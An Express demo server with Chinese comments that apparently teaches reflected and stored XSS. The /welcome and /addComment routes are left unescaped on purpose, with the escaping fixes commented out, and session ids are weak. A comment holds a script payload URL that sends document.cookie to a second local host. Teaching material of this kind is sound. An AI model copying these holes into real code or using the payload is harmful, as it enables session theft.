const express = require("express");
const app = express();
const path = require("path");
const bodyParser = require("body-parser");
const cookieParser = require("cookie-parser");

//设置路径
app.use(express.static(path.join(__dirname, "src")));
app.use(express.static(path.join(__dirname, "../")));
//将参数转换成对象
app.use(bodyParser.urlencoded({ extended: true }));
//req.cookie[xxx] 获取cookie
app.use(cookieParser());

//用户列表
let userList = [
  { username: "yyds", password: "yyds" },
  { username: "dddd", password: "dddd" },
  { username: "123", password: "123" },
];

let SESSION_ID = "connect.sid";
let session = {};
// 返回登录页面
app.get("/login", function (req, res) {
  res.sendFile(path.join(__dirname, "src/login.html"));
});

//登录接口
app.post("/api/login", (req, res) => {
  let { username, password } = req.body;
  let user = userList.find(
    (item) => item.username === username && item.password === password
  );
  if (user) {
    //用户登录后，给一个标识(cookie登录)
    const cardId = Math.random() + Date.now();
    session[cardId] = { user };
    res.cookie(SESSION_ID, cardId);
    res.json({ code: 0, msg: "登录成功" });
  } else {
    res.json({ code: 1, msg: `账号或密码不正确` });
  }
});

//1.反射型XSS攻击: http://localhost:3000/welcome?type=<script>var img=document.createElement('img');img.src=`http://localhost:4000/reflect?data=${document.cookie}`;document.body.applyChild(img);img.style.display='node';</script>
//chrome能够检测到Url上的XSS攻击(可在firefox或者是其它浏览器测试)

app.get("/welcome", function (req, res) {
  let user = session[req.cookies[SESSION_ID]]
  if (user) {
    res.send(req.query.type)
    //对查询参数进行编码，避免XSS攻击
    // res.send(`${encodeURIComponent(req.query.type)}`);
  } else {
    res.redirect('/login')
  }
});

//评论列表
let comments = [{ username: "123", content: "大家好" }];
app.get("/getComments", function (req, res) {
  res.json({ code: 0, comments });
});

app.post("/addComment", function (req, res) {
  //cardId (req.cookies[SESSION_ID])要派上用场啦~
  let info = session[req.cookies[SESSION_ID]];
  if (info) {
    //用户已经登录
    let username = info.user.username;
    comments.push({ username, content: req.body.comment });
    // 转义comment
    // comments.push({ username, content: encodeHtml(req.body.comment) });
    res.json({ code: 0, comments });
  } else {
    res.json({code: 1, msg: '请先登录'})
  }
});

function encodeHtml(str) {
  return str
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&apos;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;");
}

app.listen(3000, function (req, res) {
  console.log("请打开http://localhost:3000/login访问登录页面");
});
